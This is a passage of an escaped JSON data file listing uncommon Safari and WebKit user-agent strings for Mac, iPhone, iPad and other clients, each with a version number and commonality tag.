Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/1.0 Safari\\/1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit\\/530.19.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E227 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; it-it) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-us) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.20.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.1.7 Safari\\/7046A194A\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5346a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 EdgiOS\\/41.9.0.0 Mobile\\/15C202 Safari\\/604.4.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_10_5) AppleWebKit\\/603.2.5 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) CasperJS\\/1.1.0-beta3+PhantomJS\\/1.9.2 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PowerPC AmigaOS 4.1; Odyssey Web Browser; rv:1.23) AppleWebKit\\/538.1 (KHTML, like Gecko) OWB\\/1.23 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B93 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.13+ (KHTML, like Gecko) Version\\/6.0.2 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/6.1 Safari\\/537.71\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT based; en-US) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Safari\\/528.17\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/601.5.17 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_8 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8E401 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5200d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10602.2.14.0.5 Safari\\/10602.2.14.0.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; th-th) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit\\/602.3.10 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C5077b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0\\u00a0(iPhone\\u00a0U\\u00a0CPU like\\u00a0Mac\\u00a0OS X\\u00a0en)\\u00a0AppleWebKit\\/420+\\u00a0(KHTML,\\u00a0like\\u00a0Gecko)Version\\/3.0\\u00a0Mobile\\/1A543\\u00a0Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"12.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 12_12_0) AppleWebKit\\/604.1.30 (KHTML, like Gecko) Version\\/12.1 Safari\\/604.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_1) AppleWebKit\\/534.48.3 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit\\/604.2.10 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A8401 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.55.3         (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.73.11 (KHTML, like Gecko) Version\\/6.1.1 Safari\\/537.73.11\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0  like Mac OS X) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5261v Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46.60.1 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A523 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.1 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5028a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/5.1 Mobile\\/11B554a Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14.1.1 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B143 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/9A5248d Safari\\/6533.18.5#2.0#TCL\\/TCL-ME-MS68-S1\\/22\\/tclwebkit1.0.2\\/1920*1080(444178386,null;221158002,f58ad39ee4cb4fc185e3154bc762e607)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS X 10_9_5 like Mac OS X) AppleWebKit\\/357.51.2 (KHTML, like Gecko) Version 7.0 Mobile\\/11D257Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.77.4 (KHTML, like Gecko) Version\\/6.1.5 Safari\\/537.77.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9 FBSMTWB\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D11 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.38\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B67 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/604.4.7 (KHTML, like Gecko) WebClip\\/13604.4.7.1.6 Safari\\/13604.4.7.1.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) CustomBrowser Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C82 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; de-de) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5111a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.43 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/602.1.43\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5370a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit\\/603.1.29 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E5249d Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D60 Safari\\/604.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit\\/546.10 (KHTML, like Gecko) Version\\/6.0 Mobile\\/7E18WD Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.15 (KHTML, like Gecko) Safari\\/538.15 Version\\/6.0 dwb\\/2014.03.16\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; vi-vn) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.8 (KHTML, like Gecko) WebClip\\/12604.1.38.1.7 Safari\\/12604.1.38.1.7\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/534.34 (KHTML, like Gecko) wkhtmltopdf Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5G77 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; zh-cn) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J3 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/600.1.25 (KHTML, like Gecko) Version\\/7.1 Safari\\/537.85.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit\\/604.3.3 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B5078e Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/11.0.3 Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/602.1.37 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.25 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5304j Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5053a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/125.2 (KHTML, like Gecko) Safari\\/125.8\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit\\/525.18.1 (KHTML, like Gecko) Version\\/3.1.1 Mobile\\/5H11 Safari\\/525.20\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/11.0 Safari\\/603.1.50\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows; Windows NT 6.1) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Uncommon\",\"version\":\"3.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit\\/525.18 (KHTML, like Gecko) Version\\/3.1.2 Safari\\/525.22\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/7.0 Safari\\/537.78.2\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B150 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/535.3 (KHTML, like Gecko) Safari\\/535.3 EAWebKit\\/13.4.2.0.0 APB\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit\\/537.4 (KHTML, like Gecko; Google Page Speed Insights) Version\\/6.0 Mobile\\/10A525 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A404 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; de-AT) AppleWebKit\\/533.3 (KHTML, like Gecko) Qt\\/4.7.4 Safari\\/533.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; it-it) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B500 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) demobrowser\\/0.1 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; pt-pt) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU iPhone OS 11_0 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/11.0.0 Mobile\\/7B314 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.30\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C90 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/11.0.2 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"3.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/3.2.1 Safari\\/525.27.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5054a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Version\\/10.1 Safari\\/602.4.8\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13C5055d Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 1063; tr-DE) AppleWebKit\\/533.16 (KHTML like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; nl-nl) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9.2.1 like Mac OS X; en_US) AppleWebKit\\/1 (KHTML, like Gecko) Mobile\\/1 Safari\\/1 iPhone\\/1 EtsyInc\\/4.31 rv:43100.64.0\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Safari\\/602.4.6\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit\\/537.73.11 (KHTML like Gecko) Version\\/7.0.1 Safari\\/537.73.11\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit\\/532.3+ (KHTML, like Gecko) Fluid\\/0.9.6 Safari\\/532.3+\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B144 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C82 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/11.0 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; 